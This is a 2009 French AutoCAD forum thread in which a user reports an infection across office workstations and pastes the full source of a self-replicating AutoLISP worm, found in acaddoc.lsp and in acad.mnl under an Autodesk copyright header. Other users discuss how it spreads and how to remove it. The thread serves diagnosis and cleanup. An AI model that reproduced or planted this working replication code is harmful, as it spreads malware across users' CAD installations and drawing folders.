VIRUS ? autocad acad.mnl

laud69 · le 29 septembre 2009

Bonjour,

Depuis 1 mois on dirait que nous avons attrappé un virus sur nos 9 postes Autocad 2010:

Les effets

-Pb lenteur d’ouverture des plans autocad

- Autocad crée dans chaque répertoire où il lit des plans un fichier nommé acaddoc.lsp. Celui-ci grossi à chaque ouverure du plan dwg.

J'avais trouvé une Solution :

J’ai trouvé les fichiers qui posent pb et à supprimer de chaque poste en local et dans chaque profil.

ddcopy.lsp

acad.lsp

acad.mnl

Ces fichiers se trouvent dans :

C:\Documents and Settings\login\Application Data\Autodesk\MEP 2010\fra\Support

Acaddoc.lsp dans C:\Program Files\AutoCAD MEP 2010\Support

Je mets une copie du contenu des fichiers créés :

ACADDOC.LSP

 (setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
 (setq flag nil)
 (setq flag1 t)
 (if (findfile target)
   (progn
     (setq wjm1 (open target "r"))
     (while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
     (close wjm1)
     );progn
   );if
 (if flag1
   (progn
     (setq wjm (open source "r"))
     (setq wjm1 (open target "a"))
     (write-line (chr 13) wjm1)
     (while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
  (progn
    (write-line text wjm1)
    );progn
  );if
);while
     (close wjm1)
     (close wjm)
     );progn
   );if
 );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
 (progn
   (setq acaddocpath (vl-filename-directory dwgpath))
   (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
   (setq mnln 0)
   (while (< mnln mnlnum)
     (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
     (app mnlfilename acaddocfile bz)
     (app acaddocfile mnlfilename bz)
     (setq mnln (1+ mnln))
     );while
   (setq lspn 0)
   (while (< lspn lspnum)
     (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
     (app lspfilename acaddocfile bz)
     (app acaddocfile lspfilename bz)
     (setq lspn (1+ lspn))
     );while
   );progn
 );if
(setq mnln 0)
(while (< mnln mnlnum)
 (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
 (setq mnln1 0)
 (while (< mnln1 mnlnum)
   (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
   (app mnlfilename mnlfilename1 bz)
   (setq mnln1 (1+ mnln1))
   );while
 (setq lspn1 0)
 (while (< lspn1 lspnum)
   (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
   (app mnlfilename lspfilename1 bz)
   (setq lspn1 (1+ lspn1))
   );while
 (setq mnln (1+ mnln))
 );while
(setq lspn 0)
(while (< lspn lspnum)
 (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
 (setq lspn1 0)
 (while (< lspn1 lspnum)
   (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
   (app lspfilename lspfilename1 bz)
   (setq lspn1 (1+ lspn1))
   );while
 (setq mnln1 0)
 (while (< mnln1 mnlnum)
   (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
   (app lspfilename mnlfilename1 bz)
   (setq mnln1 (1+ mnln1))
   );while
(setq flagx t)

Etc.

ACAD.mnl

 ;;;     Copyright (C) 1992 - 1997 by Autodesk, Inc.
;;;
;;;
;;;     This file is loaded automatically following the menu AutoCAD.  



;; Silent load.
(princ)

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
 (setq flag nil)
 (setq flag1 t)
 (if (findfile target)
   (progn
     (setq wjm1 (open target "r"))
     (while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
     (close wjm1)
     );progn
   );if
 (if flag1
   (progn
     (setq wjm (open source "r"))
     (setq wjm1 (open target "a"))
     (write-line (chr 13) wjm1)
     (while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
  (progn
    (write-line text wjm1)
    );progn
  );if
);while
     (close wjm1)
     (close wjm)
     );progn
   );if
 );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
 (progn
   (setq acaddocpath (vl-filename-directory dwgpath))
   (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
   (setq mnln 0)
   (while (< mnln mnlnum)
     (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
     (app mnlfilename acaddocfile bz)
     (app acaddocfile mnlfilename bz)
     (setq mnln (1+ mnln))
     );while
   (setq lspn 0)
   (while (< lspn lspnum)
     (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
     (app lspfilename acaddocfile bz)
     (app acaddocfile lspfilename bz)
     (setq lspn (1+ lspn))
     );while
   );progn
 );if
(setq mnln 0)
(while (< mnln mnlnum)
 (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
 (setq mnln1 0)
 (while (< mnln1 mnlnum)
   (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
   (app mnlfilename mnlfilename1 bz)
   (setq mnln1 (1+ mnln1))
   );while
 (setq lspn1 0)
 (while (< lspn1 lspnum)
   (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
   (app mnlfilename lspfilename1 bz)
   (setq lspn1 (1+ lspn1))
   );while
 (setq mnln (1+ mnln))
 );while
(setq lspn 0)
(while (< lspn lspnum)
 (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
 (setq lspn1 0)
 (while (< lspn1 lspnum)
   (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
   (app lspfilename lspfilename1 bz)
   (setq lspn1 (1+ lspn1))
   );while
 (setq mnln1 0)
 (while (< mnln1 mnlnum)
   (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
   (app lspfilename mnlfilename1 bz)
   (setq mnln1 (1+ mnln1))
   );while

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
 (setq flag nil)
 (setq flag1 t)
 (if (findfile target)
   (progn
     (setq wjm1 (open target "r"))
     (while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
     (close wjm1)
     );progn
   );if
 (if flag1
   (progn
     (setq wjm (open source "r"))
     (setq wjm1 (open target "a"))
     (write-line (chr 13) wjm1)
     (while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
  (progn
    (write-line text wjm1)
    );progn
  );if
);while
     (close wjm1)
     (close wjm)
     );progn
   );if
 );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
 (progn
   (setq acaddocpath (vl-filename-directory dwgpath))
   (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
   (setq mnln 0)
   (while (< mnln mnlnum)
     (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
     (app mnlfilename acaddocfile bz)
     (app acaddocfile mnlfilename bz)
     (setq mnln (1+ mnln))
     );while
   (setq lspn 0)
   (while (< lspn lspnum)
     (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
     (app lspfilename acaddocfile bz)
     (app acaddocfile lspfilename bz)
     (setq lspn (1+ lspn))
     );while
   );progn
 );if
(setq mnln 0)
(while (< mnln mnlnum)
 (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
 (setq mnln1 0)
 (while (< mnln1 mnlnum)
   (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
   (app mnlfilename mnlfilename1 bz)
   (setq mnln1 (1+ mnln1))
   );while
 (setq lspn1 0)
 (while (< lspn1 lspnum)
   (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
   (app mnlfilename lspfilename1 bz)
   (setq lspn1 (1+ lspn1))
   );while
 (setq mnln (1+ mnln))
 );while
(setq lspn 0)
(while (< lspn lspnum)
 (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
 (setq lspn1 0)
 (while (< lspn1 lspnum)
   (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
   (app lspfilename lspfilename1 bz)
   (setq lspn1 (1+ lspn1))
   );while
 (setq mnln1 0)
 (while (< mnln1 mnlnum)
   (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
   (app lspfilename mnlfilename1 bz)
   (setq mnln1 (1+ mnln1))
   );while

Message de sur la LIGNE DE COMMANDE à l'ouverture d'un fichier :

Ouverture d'un fichier au format AutoCAD 2004/LT 2004.

Régénération de la présentation.

Régénération du modèle.

; erreur: structure incorrecte de la liste en entrée

M.D.D. - cotforc.lsp chargé. Tapez CF pour trouver les cotes forcées.M.D.D.

-cou.lsp chargé. Tapez COU pour couper en un point.M.D.D. - Ax.lsp chargé.

Tapez AX pour tracer les traits d'axes d'un cercle.M.D.D. - Axa.lsp chargé.

Tapez AXA pour tracer les traits d'axes d'un arc de cercle.M.D.D. - Texte

incrémental chargé. Tapez INC.M.D.D. - AutoPurg.lsp chargé. Tapez PU pour

purger complétement votre dessin.Profil.lsp chargé. Tapez PROF

Fonction C:GC chargée - tapez GC pour l'éxecuter.

Utilitaires de menu AutoCAD chargés.

erreur: structure incorrecte de la liste en entrée

PROBLEME c'est revenu depuis hier....

Et j'aimerais savoir si quelqu'un a déjà eu ce probleme et a trouvé une solution radicale...

Par exemple une routine au démarrage d'autocad qui supprimerait les fichiers infectés

Merci de votre aide

PS :

Dans la meme idée j'avais aussi un fichier AutoCAD.lsp qui se créait dans chaque dossier de plan.

Lui il était créer par un fichier nommé ddcopy.lsp

[Edité le 29/9/2009 par laud69]

orio · le 29 septembre 2009

bonjour

j'ai regardé rapidement tes fichiers LSP.

A priori, tu es sur la bonne voie pour éradiquer ce truc, mais il suffit que tu oublie un fichier AutoCAD.lsp, acaddoc.lsp ou AutoCAD.mnl quelque part.

- Soit dans un des dossiers du "chemin de recherche des fichiers de supports" (regarde dans les options, onglet fichiers)

- soit dans un dossier de documents dwg

pour que un de tes utilisateurs se revérolle, rédiffuse les fichiers vérolés partout ou il écrit des dwg et que tout le monde le récupère de nouveau...

Ces fichiers sont lancés automatiquement, soit à l'ouverture des dessins, soit à l'ouverture d'autocad.

A priori il ne font rien d'autres que de se récopier, mais à vérifier tout de même.

Bon courage !!!!

Bred · le 29 septembre 2009

Salut,

:casstet:

c'est pas un virus...

va dans l'aide voir ACADDOC.LSP.

laud69 · le 29 septembre 2009

Salut,
:casstet:
c'est pas un virus...

va dans l'aide voir ACADDOC.LSP.

salut,

J'avais consulté l'aide...merci...

D'origine, il est vide (ou il doit etre créé par l'utilisateur je sais plus)

Sauf que là c'est pas moi qui le crée .... il se crée "tout seul" puis grossi à chaque ouveture de fichier

A++

laud69 · le 29 septembre 2009

bonjour

j'ai regardé rapidement tes fichiers LSP.

A priori, tu es sur la bonne voie pour éradiquer ce truc, mais il suffit que tu oublie un fichier AutoCAD.lsp, acaddoc.lsp ou AutoCAD.mnl quelque part.

- Soit dans un des dossiers du "chemin de recherche des fichiers de supports" (regarde dans les options, onglet fichiers)
- soit dans un dossier de documents dwg

pour que un de tes utilisateurs se revérolle, rédiffuse les fichiers vérolés partout ou il écrit des dwg et que tout le monde le récupère de nouveau...

Ces fichiers sont lancés automatiquement, soit à l'ouverture des dessins, soit à l'ouverture d'autocad.
A priori il ne font rien d'autres que de se récopier, mais à vérifier tout de même.

Bon courage !!!!

Merci,

C'est bien ce qu'il me semblait.

Je cherche une solution dans le même esprit que celle là :

http://usa.autodesk.com/adsk/servlet/ps/dl/item?siteID=123112&id=13717811&linkID=9240617

http://www.caderix.com/journal/spip.php?article329

Ils rajoutent une routine dans acad2010.lsp pour détecter et supprimer les fichiers suspects.

Bred · le 29 septembre 2009

D'origine, il est vide (ou il doit etre créé par l'utilisateur je sais plus)

Il doit être crées par l'utilisateur afin de charger des lisps par fichier.

Ce que fait ton prog en arrière plan, c'est crées cette liste automatiquement j'ai l'impression.

donc tu dois avoir un programme qui se charge au démarrage de chaque dessin et qui te crées le acaddoc.lsp

Enlève tous les chargement d'application que tu as, il doit être quelque part.

bonuscad · le 29 septembre 2009

Utilitaires de menu AutoCAD chargés.
erreur: structure incorrecte de la liste en entrée
erreur: structure incorrecte de la liste en entrée
erreur: structure incorrecte de la liste en entrée
erreur: structure incorrecte de la liste en entrée

Je n'ai pas décortiqué les lisps incriminés (qui ne sont même pas compilés), mais au premier coup d'œil on peut se douter qu'ils ont l'air malicieux.

Vu les messages de retour, il y a aussi des erreurs d'écriture dans le code de certain programmes lancés automatiquement.

Je pense qu'une réparation d'AutoCAD devrait parvenir à remettre d'aplomb l'environnement. La réparation réimplante les fichiers de personnalisation et de bibliothèque par défaut.

Après, si tu est sûr de tes profils sauvegardés, tu peux essayer de les réimporté.

belam · le 30 septembre 2009

Salut à tous

J'avais un virus qui s'appelait AutoCAD.lsp.

Il se recopiait à chaque ouverture de dessin.

apparamment il ne faisait rien de bien grave sauf qu'il désactivait (UNDEFINE) la

commande EXPLODE et de là si je voulais utiliser cette commande je devais

faire un REDEFINE.

J' en suis venu à bout avec l'anti-virus AVAST

A +

belam

Connexion

VIRUS ? autocad acad.mnl

Messages recommandés

laud69

orio

Bred

laud69

laud69

Bred

bonuscad

belam

Créer un compte ou se connecter pour commenter

Créer un compte

Se connecter

Forums

Naviguer

Activité

Information importante